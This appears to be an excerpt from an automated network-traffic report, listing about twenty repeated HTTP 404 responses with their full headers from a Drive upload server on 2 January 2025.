Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7kKv6L9JVzlSW3EjgymZeJ6vsfdxiJi2dWaewNF9wC61YVpXBhF00ik90gjksvXCw8vS6Mdu4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:38 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Bk0XupIqhAKu2a2Gn-jSjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5X9l45Vdwr5Lg-E3veb59CemAP8DIfadxpvzGpvQPdmMRLYeZqmAYF3fDY2MiP4R4EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Ouxw-UXJjIufdXz4SOWfKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7EtClsyKastmXBRSeccHjMaTtVUg57lXD-mEgnMavog5iraLIk09ZwVaChuw1SZQMdContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:39 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-niVzn80lwd_75UBaT8_Q1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6MYk4B4fRC_ZIBeNwkY3T9xT37oMAKh3qctnoRkufq_FVyRWkrFgwnUc_LmHsUkwn1Qo6pD3IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:41 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1clAQVz6QZGOq6NgKGJLRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5lNVW1XAuc_-q1rfKTFPsMEm3r90FxlcCKSWn-mnYFIv8XgNurb381MK22M8nvcaCrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:42 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0Nr1aiROBuihEJKhFV2G1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC71yj5fuDa9K-wM8iRLAciVHp01SXPa8NLgFEG_yM0q4qIRXA6n1x0GFqBkIeJzIInfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:43 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Nbx_9d-csIQN05hGIruY7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Ki5miPaUWvNX9J3xwtBQyJ5nDMmW5Zs3fsLFtpl7oo-tB1SlZkNnJM3qF8SkIFT8emdAwQVIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:43 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Sw9QF2vSKQqQQz5nmTwWaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC42HBJrvV6F80jZnofs6IwFzCeh2VLhuvi3plaUl6PMe_HzUerRFokst-aFZ4oeZVJcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:45 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-tPDBd6pqh52opS7iEDmg7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ed8-DNvsqUgG8-ThHQq83C5dNe4XYtyFw1xdGwAbKg5VD-XRIH98dUM8EvFalD-DuwdTy6tEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dPZzyOKM5vu2g7K8wf0Jdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rznh94cGkkxf4NEx-K4VJn3usmeKfw1DdHb7454cvd6YJM4KRA63PtU_VoAPCQq7wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:47 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-C4_IYbf2PSmfzGgShRvULQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6onpc1E9JbouVjdYTgqTNS7FwG0k6vOFfPF-ScvFUZVUbmJNprDVGkwi5ZMoo8N5gBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:47 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nQlmMVt_WNRBTwm3lLQ4Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7NVD_M6pmk3R53sBxLrfCEa4jSm3vD6GtczvCj4t1psLzRp-JB9svByds6XqlTEXWm2BuioosContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:50 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-7l1SgH2cF_CruccP8B8cdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5vOgBVA3FjAB8Y6pfEXZTqKa9ZjRXfeNhYa-yampaqpGWFismXQwF_d8fA_79nglP0kqkrsjIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:50 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-CuAwD5xXZ0AQJ9hX8qXKpw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4OeOi8bGcCRfQo40lLUl-_E6N7E5qUE0mEWm_QW2LOZPWT3lsURO7zstIk9QG6frQNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-U0cnzXCyqBLi_DmvvvEL5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC47B7W4qmwvfboFTEXCmPxrwtmMhhQPnYGKr_0y_vev6AB64WLsjooOGtHdA5FN802OHPCQ2vsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:51 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EXeaHAJzZk8dihuPsZRwPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6KG7OSxD8Xlgzu5S-2UwVfgYQixBNbo5RNI_vxTHuznKI6N8B_Wr_Pu_lMcDXj7iz6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:54 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-udJi7uCzzVoewUfX-96zFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5rfswK_O0wJ1QBKuDCNBURBc88wat7gNmjKCpB7koPXyXF17357iebNxE4G-s9WixEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:54 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-89LBRq1m5eLeAM6wJcrzdA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6pahQ_UdA4un2kVqZsPHUXxjNWDOdpvRWnTq5SFjxkKZf62LN9BMxj-5rE6dztW8foContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JoMcuM7Wq7p81TJj6zxy0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6m7I4d5dkD_1KV41lmpdh-YPFXEph_1_dPDzvPfLg8E3yKi7azfoYuXavSGznF4nQEO8oXvvcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:55 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WHJWB4VjmgvJjzf1Yjv2jw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6F3L0rB5oDN5rRx7JEj556pw4N4Dk0oknwtPEljgqu67YF0pt9mwnpbjdqMzuU14ucContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:58 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-P7IP5lyNBYaTEYEIxTXc1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
